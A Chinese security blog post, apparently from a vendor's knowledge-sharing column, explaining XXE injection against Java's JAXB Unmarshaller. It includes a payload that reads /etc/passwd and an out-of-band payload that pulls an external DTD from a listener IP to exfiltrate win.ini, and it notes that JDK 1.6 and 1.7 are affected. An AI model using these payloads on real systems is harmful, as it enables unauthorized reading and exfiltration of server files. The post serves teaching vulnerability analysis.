2018-10-08 11:31:3823650人阅读
XXE简介
XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。文档类型定
义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,
也可以外部引用。
* 内部声明 DTD:
<!DOCTYPE 根元素 [元素声明]>
* 引用外部 DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
当允许引用外部实体时,恶意攻击者即可构造恶意内容访问服务器资源,如读取
passwd 文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY aaa SYSTEM "file:///ect/passwd">]>
<msg>&aaa;</msg>
Unmarshaller简介
JAXB(Java Architecture for XML Binding) 是一个业界的标准,是一项可以根据XML Schema产生Java类的技术。该过程中,JAXB也提供了将XML实例文档反向生成Java对象树的方法,并能将Java对象树的内容重新写到XML实例文档。从另一方面来讲,JAXB提供了快速而简便的方法将XML模式绑定到Java表示,从而使得Java开发者在Java应用程序中能方便地结合XML数据和处理函数。
Marshaller:
marshaller 类负责管理将Java内容树序列化为XML数据的过程。简单的来说可以把java对象序列化转为XML格式的数据。
Unmarshaller:
Unmarshaller 类管理将 XML 数据反序列化为新创建的 Java 内容树的过程,并可在解组时有选择地验证 XML 数据。
DEMO区:
第一种:读取本地输入XML数据
为了方便演示,我就在本地搞个文件了,不抓包输入了。
下面是本地一个测试demo代码:
其中1.xml文件内容如下,读取的是本地win.ini文件:
<!DOCTYPE xmlrootname [
<!ENTITY % aaa SYSTEM "http://192.168.153.181:1234/ext.dtd">
<!ENTITY % bbb SYSTEM "file:///c:///Windows/win.ini">%aaa;%ccc;%ddd;]>
192.168.153.181是反弹的本地ip,进行端口监听:
运行代码后结果如下,运行后解析了本地XML文件:
本地监听结果如下,可以看到XXE已经执行,并且监听到结果:
第二种:远程加载XML文件
前面讲的是本地输入XML数据执行XXE,现在讲讲远程加载XML文件,执行XXE。同样demo如下,192.168.110.142 是远程存储XML文件的IP:
运行效果如下,可以看到一样执行了XXE:
总结
大家一定疑惑为什么我只用jdk1.6版本来执行,因为我试了很多次发现,unmashaller在jdk1.6和jdk1.7环境下都可以支持XXE,但是在jdk1.8环境下是执行不了的,贴两张图给大家看下:
两张图可以看出jdk1.8是无法执行外部dtd文档的,要是看不起,在贴一张:
好了,今天就到这了。
文章来自【Backer Talk】,原创作者:小平哥,如需转载需注明作者及本文链接。
【Backer Talk】BSRC白客说栏目专注于安全知识分享,长期向安全爱好者征集漏洞分析、漏洞挖掘姿势分享等安全相关内容,欢迎惠赐作品!